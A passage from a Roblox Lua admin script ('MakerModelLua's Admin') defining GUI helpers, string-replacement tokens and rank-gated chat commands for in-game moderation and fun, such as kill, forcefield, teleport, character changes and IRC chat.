5119 if #Seconds == 1 then Seconds = "0"..Seconds end
5120 if #Minutes == 1 then Minutes = "0"..Minutes end
5121 Time.Text = Minutes..":"..Seconds
5122 wait(1)
5123 if CurrentSeconds <= 0 then
5124 Alarm:Play()
5125 Time.Text = "00:00"
5126 Part.Size = UDim2.new(1,0,1,0)
5127 Restore:Invoke()
5128 wait(4)
5129 Close:Invoke()
5130 break
5131 else
5132 Tick:Play()
5133 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5134 CurrentSeconds = CurrentSeconds - 1
5135 end
5136 end end)()
5137
5138 Closed.Event:connect(function()
5139 if Alive == true then
5140 Alive = false
5141 Tick:Stop()
5142 Alarm:Stop()
5143 end
5144 end)
5145end)() end
5146
5147function GUI:DetachChat(Player)
5148 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5149 if Player:FindFirstChild("DetachChatMML") then
5150 Player.DetachChatMML:Invoke(true)
5151 wait()
5152 Player.DetachChatMML:Destroy()
5153 end
5154
5155 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5156 local SG = Frame.Parent.Parent.Parent
5157
5158 local DCBF = Instance.new("BindableFunction", Player)
5159 DCBF.Name = "DetachChatMML"
5160 DCBF.OnInvoke = function(Remove)
5161 if Remove then
5162 SG:Destroy()
5163 end
5164 end
5165 CORE:ExecuteResource("CoreChat", SG)
5166
5167 local IsClosed = false
5168 Closed.Event:connect(function()
5169 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5170 IsClosed = true
5171 end)
5172
5173 coroutine.wrap(function()
5174 Player.CharacterRemoving:wait()
5175 if not IsClosed then
5176 IsClosed = true
5177 wait(1)
5178 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5179 end
5180 end)()
5181end
5182
5183function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5184 if not Player then return nil end
5185 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5186 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5187
5188 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5189end)() end
5190
5191function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5192 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5193 if not SoundID then SoundID = SoundInfo["ID"] end
5194 if not TitleText then TitleText = SoundInfo["Name"] end
5195 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5196 if not InputSound then InputSound = Sound end
5197
5198 local NumSounds = 0
5199 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5200 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5201 NumSounds = NumSounds + 1
5202 end
5203 end
5204
5205 local Size = UDim2.new(0.1, 100, 0.1, 100)
5206 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5207 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5208
5209 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5210 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5211 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5212 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5213 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5214 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5215 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5216
5217 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5218 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5219 if Sound then
5220 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5221 end
5222 if Time then
5223 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5224 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5225
5226 coroutine.wrap(function()
5227 local Alive = true
5228
5229 local function StopTimer() Alive = false end
5230 Closed.Event:connect(StopTimer)
5231 Minimized.Event:connect(StopTimer)
5232 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5233
5234 for i = Time,0,-1 do
5235 for ii = 1,10 do
5236 if Alive == true then
5237 Timer.Text = i
5238 wait(0.1)
5239 else
5240 break
5241 end
5242 end
5243 end
5244 if Alive == true then
5245 Close:Invoke()
5246 else
5247 Timer:Destroy()
5248 Stop:Destroy()
5249 end
5250 end)()
5251 end
5252end
5253
5254---- STRING REPLACEMENT OPERATIONS ----
5255
5256-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5257
5258-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5259
5260StringReplacements = {
5261 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5262 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5263 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5264 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5265 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5266 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5267 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5268 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5269 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5270 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5271
5272 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5273 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5274 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5275 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5276 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5277 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5278
5279 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5280 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5281 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5282 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5283 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5284 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5285 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5286 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5287 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5288 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5289 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5290 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5291 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5292 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5293 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5294 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5295}
5296
5297---- COMMANDS ----
5298
5299-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5300
5301Commands = { -- can't make local
5302 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5303 print("[MML's Admin]: Test message from "..Speaker.Name)
5304 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5305 end};
5306
5307 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5308 local Players = STRING:Scan(Arguments[1], Speaker)
5309 for _,Player in pairs(Players) do
5310 if Player.Character then
5311 Player.Character:BreakJoints()
5312 end
5313 end
5314 end};
5315
5316 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5317 local Players = STRING:Scan(Arguments[1], Speaker)
5318 for _,Player in pairs(Players) do
5319 if Player.Character then
5320 Instance.new("ForceField", Player.Character)
5321 end
5322 end
5323 end};
5324
5325 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5326 local Players = STRING:Scan(Arguments[1], Speaker)
5327 for _,Player in pairs(Players) do
5328 if Player.Character then
5329 for _,Get in pairs(Player.Character:GetChildren()) do
5330 if Get:IsA("ForceField") then
5331 Get:Destroy()
5332 end
5333 end
5334 end
5335 end
5336 end};
5337
5338 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5339 for _,Player in pairs(Server.Players:GetPlayers()) do
5340 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5341 end
5342 end};
5343
5344 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5345 for _,Player in pairs(Server.Players:GetPlayers()) do
5346 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5347 end
5348 end};
5349
5350 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5351 local Players = STRING:Scan(Arguments[1], Speaker)
5352 for _,Player in pairs(Players) do
5353 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5354 end
5355 end};
5356
5357 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5358 for _,Player in pairs(Server.Players:GetPlayers()) do
5359 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5360 end
5361 end};
5362
5363 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5364 local Players = STRING:Scan(Arguments[1], Speaker)
5365 for _,Player in pairs(Players) do
5366 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5367 end
5368 end};
5369
5370 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5371 local Players = STRING:Scan(Arguments[1], Speaker)
5372 local AgeList = {}
5373 for _,Player in pairs(Players) do
5374 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5375 end
5376 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5377 end};
5378
5379 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5380 local Players = STRING:Scan(Arguments[1], Speaker)
5381 local AgeList = {}
5382 for _,Player in pairs(Players) do
5383 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5384 end
5385 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5386 for _,Player in pairs(SecondPlayers) do
5387 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5388 end
5389 end};
5390
5391 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5392 local Storage = {{}, {}, {}, {}}
5393 local StorageText = {}
5394 local Formatted = {}
5395 for CommandNames,Data in pairs(Commands) do
5396 if not Data.Hidden then
5397 local RankNeeded = RANK:ConvertRank(Data[4])
5398 local Add = ""
5399 if Data[4] == "Non-Admin" then Add = "BLACK " end
5400 if Data[4] == "Admin" then Add = "CYAN " end
5401 if Data[4] == "Member" then Add = "BLUE " end
5402 if Data[4] == "Owner" then Add = "BROWN " end
5403 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5404 local AddBet = Settings.Bet
5405 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5406 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5407 table.insert(Storage[RankNeeded + 1], Add..Text)
5408 StorageText[Text] = CommandNames
5409 end
5410 end
5411 for Num,_ in pairs(Storage) do
5412 table.sort(Storage[Num])
5413 end
5414 for _,Table in pairs(Storage) do
5415 for _,Command in pairs(Table) do
5416 table.insert(Formatted, Command)
5417 end
5418 end
5419 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5420 Clicked.Event:connect(function(Text)
5421 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5422 end)
5423 end};
5424
5425 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5426 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5427 end};
5428
5429 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5430 if GUI:GetColor(Arguments[1]) then
5431 local ColorScheme = string.upper(Arguments[1])
5432 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5433 Settings.ColorScheme = ColorScheme
5434 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5435 else
5436 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5437 end
5438 end};
5439
5440 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5441 local List = {}
5442 for Color,_ in pairs(Colors) do
5443 table.insert(List, Color.." "..Color)
5444 end
5445 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5446 end};
5447
5448 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5449 local Transparency = tonumber(Arguments[1])
5450 if Transparency then
5451 if Transparency > 90 then Transparency = 90 end
5452 if Transparency < 10 then Transparency = 10 end
5453 Settings.TransparencyScheme = Transparency/100
5454
5455 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5456 else
5457 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5458 end
5459 end};
5460
5461 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5462 if Fonts[Arguments[1]] then
5463 Settings.Font = Arguments[1]
5464 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5465 end
5466 end};
5467
5468 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5469 Settings.Fun = not Settings.Fun
5470 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5471 end};
5472
5473 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5474 Settings.DisableAbuse = not Settings.DisableAbuse
5475 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5476 end};
5477
5478 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5479 local List = {}
5480 for Font,_ in pairs(Fonts) do
5481 if Font == Settings.Font then
5482 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5483 else
5484 table.insert(List, Font.." "..Font)
5485 end
5486 end
5487 GUI:ListGui(Speaker, "Font list", List, 44453197)
5488 end};
5489
5490 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5491 local SoundID = tonumber(Arguments[1])
5492 if SoundID then
5493 Settings.ExecuteNotificationSound = SoundID
5494
5495 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5496 else
5497 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5498 end
5499 end};
5500
5501 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5502 Settings.ExecuteNotificationSound = 0
5503 end};
5504
5505 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5506 local Players = STRING:Scan(Arguments[1], Speaker)
5507 for _,Player in pairs(Players) do
5508 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5509 end
5510 end};
5511
5512 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5513 local Players = STRING:Scan(Arguments[1], Speaker)
5514 for _,Player in pairs(Players) do
5515 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5516 end
5517 end};
5518
5519 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5520 local Players = STRING:Scan(Arguments[1], Speaker)
5521 for _,Player in pairs(Players) do
5522 coroutine.wrap(function()
5523 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5524 wait(1)
5525 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5526 end)()
5527 end
5528 end, Hidden = true};
5529
5530 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5531 local Players = STRING:Scan(Arguments[1], Speaker)
5532 for _,Player in pairs(Players) do
5533 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5534 end
5535 end};
5536
5537 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5538 local Players = STRING:Scan(Arguments[1], Speaker)
5539 for _,Player in pairs(Players) do
5540 CORE:ChangeName(Player, Arguments[2])
5541 end
5542 end};
5543
5544 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5545 local Players = STRING:Scan(Arguments[1], Speaker)
5546 for _,Player in pairs(Players) do
5547 if Player.Character then
5548 local Head = Player.Character:FindFirstChild("Label")
5549 if Head then Head:Destroy() end
5550 local Head = Player.Character:FindFirstChild("Head")
5551 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5552 end
5553 end
5554 end};
5555
5556 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5557 local Players = STRING:Scan(Arguments[1], Speaker)
5558 for _,Player in pairs(Players) do
5559 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5560 end
5561 end};
5562
5563 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5564 local Players = STRING:Scan(Arguments[1], Speaker)
5565 for _,Player in pairs(Players) do
5566 local _,RankNum = RANK:GetRank(Player)
5567 if RankNum <= RANK:ConvertRank(Rank) then
5568 Server.TS:Teleport(Arguments[2], Player)
5569 end
5570 end
5571 end};
5572
5573 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5574 local Players = STRING:Scan(Arguments[1], Speaker)
5575 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5576 if Suc then
5577 for _,Player in pairs(Players) do
5578 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5579 end
5580 else
5581 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5582 end
5583 end};
5584
5585 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5586 local Players = STRING:Scan(Arguments[1], Speaker)
5587 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5588 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5589 if Suc then
5590 for _,Player in pairs(Players) do
5591 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5592 end
5593 else
5594 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5595 end
5596 end)
5597 end};
5598
5599 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5600 local Players = STRING:Scan(Arguments[1], Speaker)
5601 for _,Player in pairs(Players) do
5602 local _,RankNum = RANK:GetRank(Player)
5603 if RankNum < RANK:ConvertRank(Rank) then
5604 Server.TS:Teleport(155307015, Player)
5605 end
5606 end
5607 end};
5608
5609 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5610 local Players = STRING:Scan(Arguments[1], Speaker)
5611 for _,Player in pairs(Players) do
5612 local _,RankNum = RANK:GetRank(Player)
5613 if RankNum < RANK:ConvertRank(Rank) then
5614 Server.TS:Teleport(347911447, Player)
5615 end
5616 end
5617 end};
5618
5619 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5620 local Players = STRING:Scan(Arguments[1], Speaker)
5621 for _,Player in pairs(Players) do
5622 CORE:GenerateShield(Player)
5623 end
5624 end};
5625
5626 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5627 local Players = STRING:Scan(Arguments[1], Speaker)
5628 for _,Player in pairs(Players) do
5629 if Player.Character then
5630 local Shield = Player.Character:FindFirstChild("Shield")
5631 if Shield then Shield:Destroy() end
5632 end
5633 end
5634 end};
5635
5636 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5637 local Num = tonumber(Arguments[1])
5638 if Num and Num ~= 0 then
5639 local Random = math.random(1,math.abs(Num))
5640 if Random == math.random(1,math.abs(Num)) then
5641 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5642 else
5643 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5644 end
5645 else
5646 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5647 end
5648 end};
5649
5650 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5651 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5652 IRC:AddChat(Speaker.Name, Arguments[1])
5653 end};
5654
5655 --[[
5656 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5657 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5658 if Res then
5659 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5660 end
5661 end, Http = true};
5662
5663 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5664 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5665 if Res then
5666 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5667 end
5668 end}, Http = true;
5669 ]]
5670
5671 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5672 IRC:Quit("Reconnecting")
5673 IRC:ConnectToServer(Settings.IRCServer)
5674 end};
5675
5676 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5677 local Players = STRING:Scan(Arguments[1], Speaker)
5678 for _,Player in pairs(Players) do
5679 local PreAdd = {}
5680 for _,Data in pairs(IRC.Chats) do
5681 local Error = nil
5682 if Rank == "Owner" then Error = Data[3] end
5683 table.insert(PreAdd, {Data[1], Data[2], Error})
5684 end
5685 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5686 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5687 if Rank ~= "Owner" then Error = nil end
